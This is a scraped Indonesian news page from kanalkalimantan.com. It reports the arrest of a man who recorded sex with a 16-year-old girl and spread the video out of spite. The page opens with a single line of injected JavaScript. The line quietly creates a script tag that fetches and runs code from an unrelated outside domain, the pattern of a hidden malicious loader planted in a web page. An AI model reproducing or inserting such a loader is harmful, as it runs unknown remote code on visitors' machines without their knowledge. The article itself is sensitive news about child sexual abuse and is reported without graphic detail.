(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Pria Asal Kapuas Sebar Video Mesum karena Tak Terima Mantan Punya Kekasih Baru


KANALKALIMANTAN.COM, MARTAPURA – Baru-baru ini seorang laki-laki warga jalan Jaya Raya Basarang, Kabupaten Kapuas, Provinsi Kalimantan Tengah, dibekuk Polsek Kertak Hanyar Kabupaten Banjar, Kalimantan Selatan, Senin (25/7/2022). Pria berinisial IW (30) ini ditengarai merekam video mesum dan menyebarkan ke media sosial (medsos).

Awalnya, IW merayu seorang anak perempuan berusia 16 tahun untuk berhubungan layaknya suami istri, dan kemudian merekamnya.

Saat sudah tidak lagi menjadi pacarnya, pelaku menyebarluaskan video tersebut ke media sosial. Motifnya karena pelaku sakit hati saat tahu korban mempunyai kekasih baru.

Dihimpun dari informasi dari Tim Resmob Macan Kalsel, korban dengan didampingi orangtuanya pun melaporkan kejadian tersebut ke Polsek Kertak Hanyar.

 

 

Polsek Kertak Hanyar amankan pria berinisial IW. Foto: polsek kertak hanyar

Baca juga  : Wujudkan Rumah Impian Layak Huni Tri Mulyanto, Tim Bedah Rumah TMMD ke- 114 Kodim 1022/Tnb Kerja Maksimal

Selain menanggung kerugian akibat malu videonya beredar luas, korban yang masih duduk di bangku kelas satu sekolah menengah itu pun juga berakhir dikeluarkan dari sekolahnya. Hal ini karena korban dituding telah mencemarkan nama baik sekolah.

Sementara itu, Unit Buser Polsek Kertak Hanyar bersama dengan Team Resmob Macan Kalsel langsung bergerak menyelidiki keberadaan pelaku.

Pihaknya pun berhasil mendapatkan pelaku di tempat persembunyiannya, yakni di Desa Pulau Sugara, Kecamatan Alalak, Kabupaten Batola. Saat diringkus pelaku tengah asyik duduk di sebuah jembatan.

Setelah dibawa ke Mapolsek Kertak Hanyar bersama barang bukti, pelaku akhirnya meringkuk di bui dengan ancaman hukuman paling lama 15 tahun atas tindak pidana persetubuhan anak di bawah umur sebagaimana dimaksud dalam Pasal 82 Undang – Undang RI Nomor 23 Tahun 2002 tentang Perlindungan Anak.

Pihak Kepolisan pun menghimbau agar para orang tua selalu tegas dan jeli mengawasi anak-anak dalam setiap pergaulan, dan dapat menjadi pembelajaran juga untuk masyarakat Banua untuk menjaga kelangsungan hidup anak kedepannya.(kanalkalimantan.com/wanda)

Reporter : wanda
Editor : cell


Desy Arfianty

Recent Posts

Warga Tak Tahu Ada PSU, ‘PR’ KPU Kalsel Ajak Pemilih Datangi TPS

KANALKALIMANTAN.COM, BANJARBARU - Komisi Pemilihan Umum (KPU) Provinsi Kalimantan Selatan (Kalsel) punya 'pekerjaan rumah' berat… Read More

12 jam ago

Minta Dakwaan Tunggal Pasal Pembunuham Berencana ke Jumran

KANALKALIMANTAN.COM, BANJARBARU - Tim kuasa hukum Juwita wartawati media online meminta Oditurat Militer (Odmil) III-15… Read More

14 jam ago

Buka Bimbingan Manasik Haji, Ini Pesan Bupati HSU ke Calon Jemaah Haji

KANALKALIMANTAN.COM, AMUNTAI - Bupati Hulu Sungai Utara (HSU) H Sahrujani membuka bimbingan manasik haji bagi… Read More

17 jam ago

Dipastikan Dipecat, Sidang Jumran di Pengadilan Militer Secara Terbuka

KANALKALIMANTAN.COM, BANJARBARU - Tersangka Kelasi I Bahari Jumran dipastikan dipecat  sebagai anggota TNI Angkatan Laut… Read More

18 jam ago

UPT PLN Pontianak Berbagi Kebahagiaan ke Masyarakat dan Panti Asuhan

KANALKALIMANTAN.COM, PONTIANAK – PT PLN (Persero) Unit Pelaksana Transmisi (UPT) Pontianak melalui Yayasan Baitul Maal… Read More

20 jam ago

Panen Raya Semangka di Desa Pulau Kaladan

KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas Muhammad Wiyatno bersama Wakil Bupati Dodo melaksanakan panen raya… Read More

23 jam ago

This website uses cookies.